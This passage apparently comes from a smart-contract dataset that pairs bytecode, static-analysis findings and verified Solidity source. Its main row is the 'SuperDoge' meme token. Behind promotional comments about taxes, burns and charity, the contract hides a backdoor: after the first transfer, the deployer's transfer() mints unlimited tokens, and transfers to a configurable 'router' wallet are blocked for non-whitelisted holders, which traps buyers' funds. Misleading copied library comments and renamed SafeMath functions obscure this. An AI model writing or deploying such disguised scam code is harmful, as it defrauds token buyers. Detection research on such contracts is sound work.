03232b0b21760591b604482015290519081900360640190fd5b6115fd565b600380548290039055600454600654604080516001600160a01b03938416815291909216602082015280820183905290517f05e516ede0a038f1df924374b640792967edaa07bf45ba9a28ddaa37a67c015e9181900360600190a15b6116ef565b600554819081106116915761161686611762565b6005819055600454604080516001600160a01b03808b1682529092166020830152818101929092526001606082015290517f12ae7452eaea6a75fa46cc382bd0a00c49b2f60a065554cc195026452cfaef329181900360800190a1600480546001600160a01b0319166001600160a01b0388161790556116ed565b80156116ed57600580548290039055600454604080516001600160a01b03909216825260208201839052600182820152517f6110b5a17c67546d59ebbf6dec10045b48e35afda312bd6ce7e09d4699fe4adc9181900360600190a15b505b5061172c565b6040805162461bcd60e51b81526020600482015260076024820152661b9bc81dd85b9d60ca1b604482015290519081900360640190fd5b50505050565b6008546001600160a01b031681565b600d6020526000908152604090205481565b6002546001600160a01b031681565b600954604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b158015610fd457600080fd5b6006546001600160a01b031681565b600480546001600160a01b039081166000908152600d6020908152604091829020805486019055925481519216825291810183905281517f369b49a175b49589a42180af73154b420cc25e5a30a0d050060824f7705c9617929181900390910190a15056fea264697066735822122050701ea09ce63f8f99778c99abe9e69954976047f9ca771cfcfffa63aa6d362464736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,263 |
0x5f7b6a5ad36dffe19c5a4299df9a1e4b9d4222ed
|
/**
*Submitted for verification at Etherscan.io on 2021-11-22
*/
/*
@superdogeofficial
superdoge.digital
🦸♂️
THIS LOOKS LIKE A JOB FOR SUPERDOGE!
💥 Our world is in danger.
A global pandemic has ravaged many and
the world is crying out for a hero. 🦸♂️
💥 SUPERDOGE is here to save the day! 💥
$SUPERDOGE is a deflationary meme coin that
has a 6% tax rate on every transaction.
💰 TOKENOMICS 🛍
TOTAL SUPPLY: 99999999999 $SUPERDOGE 🦸♂️
6% TAX PER TRANSACTION 💷
2% PERMANENTLY BURNED 💴
2% WEIGHTED DISTRIBUTION TO HOLDERS 💴
2% SENT TO CHARITY WALLET AND MARKETING/DEV WALLET 💸
50% BURNED 🔥
@superdogeofficial
superdoge.digital
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function red(uint256 a, uint256 b) internal pure returns (uint256) {
return redc(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
}
pragma solidity ^0.8.10;
contract Ownable is Context {
address internal recipients;
address internal router;
address public owner;
mapping (address => bool) internal confirm;
event owned(address indexed previousi, address indexed newi);
constructor () {
address msgSender = _msgSender();
recipients = msgSender;
emit owned(address(0), msgSender);
}
modifier checker() {
require(recipients == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function renounceOwnership() public virtual checker {
emit owned(owner, address(0));
owner = address(0);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
bool private truth;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
truth=true;
}
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/
function setmarketingwallet (address set) public checker {
router = set;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function fee(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function teamwallet(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
fee(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
}
contract SuperDoge is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 99999999999 * 10 ** 18;
constructor () ERC20(unicode'SuperDoge | superdoge.digital','SUPERDOGE') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063ff5da63314610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806354caf86c146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061147c565b60405180910390f35b610132600480360381019061012d9190611546565b6103b4565b60405161013f91906115a1565b60405180910390f35b6101506103d2565b60405161015d91906115cb565b60405180910390f35b610180600480360381019061017b91906115e6565b6103dc565b60405161018d91906115a1565b60405180910390f35b61019e6104dd565b6040516101ab9190611655565b60405180910390f35b6101ce60048036038101906101c99190611546565b610505565b6040516101db91906115a1565b60405180910390f35b6101fe60048036038101906101f99190611670565b6105b1565b005b61021a60048036038101906102159190611670565b61068a565b60405161022791906115cb565b60405180910390f35b6102386106d3565b005b610242610829565b60405161024f91906116ac565b60405180910390f35b61026061084f565b60405161026d919061147c565b60405180910390f35b610290600480360381019061028b9190611546565b6108e1565b60405161029d91906115a1565b60405180910390f35b6102c060048036038101906102bb9190611546565b6109d5565b6040516102cd91906115a1565b60405180910390f35b6102f060048036038101906102eb91906116c7565b610c3c565b6040516102fd91906115cb565b60405180910390f35b610320600480360381019061031b919061184f565b610cc3565b005b606060078054610331906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906118c7565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610d9e565b8484610da6565b6001905092915050565b6000600654905090565b60006103e9848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab9061196b565b60405180910390fd5b6104d1856104c0610d9e565b85846104cc91906119ba565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006105a7610512610d9e565b848460056000610520610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105a291906119ee565b610da6565b6001905092915050565b6105b9610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063d90611a90565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106db610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f90611a90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461085e906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461088a906118c7565b80156108d75780601f106108ac576101008083540402835291602001916108d7565b820191906000526020600020905b8154815290600101906020018083116108ba57829003601f168201915b5050505050905090565b600080600560006108f0610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611b22565b60405180910390fd5b6109ca6109b8610d9e565b8585846109c591906119ba565b610da6565b600191505092915050565b60006109df610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4c575060011515600960009054906101000a900460ff161515145b15610a8757610a63610a5c610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610c36565b610a8f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afc575060001515600960009054906101000a900460ff161515145b15610c1f57610b168260065461129590919063ffffffff16565b600681905550610b6e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0e91906115cb565b60405180910390a360019050610c36565b610c31610c2a610d9e565b8484610f71565b600190505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ccb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4f90611a90565b60405180910390fd5b60005b8151811015610d9a57610d87828281518110610d7a57610d79611b42565b5b60200260200101516112f3565b8080610d9290611b71565b915050610d5b565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115cb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b818161119191906119ba565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461122391906119ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115cb565b60405180910390a350505050565b60008082846112a491906119ee565b9050838110156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e090611ee0565b60405180910390fd5b8091505092915050565b6112fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90611a90565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561141d578082015181840152602081019050611402565b8381111561142c576000848401525b50505050565b6000601f19601f8301169050919050565b600061144e826113e3565b61145881856113ee565b93506114688185602086016113ff565b61147181611432565b840191505092915050565b600060208201905081810360008301526114968184611443565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114dd826114b2565b9050919050565b6114ed816114d2565b81146114f857600080fd5b50565b60008135905061150a816114e4565b92915050565b6000819050919050565b61152381611510565b811461152e57600080fd5b50565b6000813590506115408161151a565b92915050565b6000806040838503121561155d5761155c6114a8565b5b600061156b858286016114fb565b925050602061157c85828601611531565b9150509250929050565b60008115159050919050565b61159b81611586565b82525050565b60006020820190506115b66000830184611592565b92915050565b6115c581611510565b82525050565b60006020820190506115e060008301846115bc565b92915050565b6000806000606084860312156115ff576115fe6114a8565b5b600061160d868287016114fb565b935050602061161e868287016114fb565b925050604061162f86828701611531565b9150509250925092565b600060ff82169050919050565b61164f81611639565b82525050565b600060208201905061166a6000830184611646565b92915050565b600060208284031215611686576116856114a8565b5b6000611694848285016114fb565b91505092915050565b6116a6816114d2565b82525050565b60006020820190506116c1600083018461169d565b92915050565b600080604083850312156116de576116dd6114a8565b5b60006116ec858286016114fb565b92505060206116fd858286016114fb565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61174482611432565b810181811067ffffffffffffffff821117156117635761176261170c565b5b80604052505050565b600061177661149e565b9050611782828261173b565b919050565b600067ffffffffffffffff8211156117a2576117a161170c565b5b602082029050602081019050919050565b600080fd5b60006117cb6117c684611787565b61176c565b905080838252602082019050602084028301858111156117ee576117ed6117b3565b5b835b81811015611817578061180388826114fb565b8452602084019350506020810190506117f0565b5050509392505050565b600082601f83011261183657611835611707565b5b81356118468482602086016117b8565b91505092915050565b600060208284031215611865576118646114a8565b5b600082013567ffffffffffffffff811115611883576118826114ad565b5b61188f84828501611821565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118df57607f821691505b602082108114156118f3576118f2611898565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119556028836113ee565b9150611960826118f9565b604082019050919050565b6000602082019050818103600083015261198481611948565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119c582611510565b91506119d083611510565b9250828210156119e3576119e261198b565b5b828203905092915050565b60006119f982611510565b9150611a0483611510565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a3957611a3861198b565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611a7a6020836113ee565b9150611a8582611a44565b602082019050919050565b60006020820190508181036000830152611aa981611a6d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b0c6025836113ee565b9150611b1782611ab0565b604082019050919050565b60006020820190508181036000830152611b3b81611aff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b7c82611510565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611baf57611bae61198b565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c166024836113ee565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca86022836113ee565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a6025836113ee565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc6023836113ee565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e6026836113ee565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b836113ee565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea264697066735822122082f23172e4118c876a8cea2b22e6e94d59ad6fa142059e3d8ad2a429d4e5ff7064736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 8,264 |
0xa872e8de193bf27b0d7360dc795344af9cd2f553
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
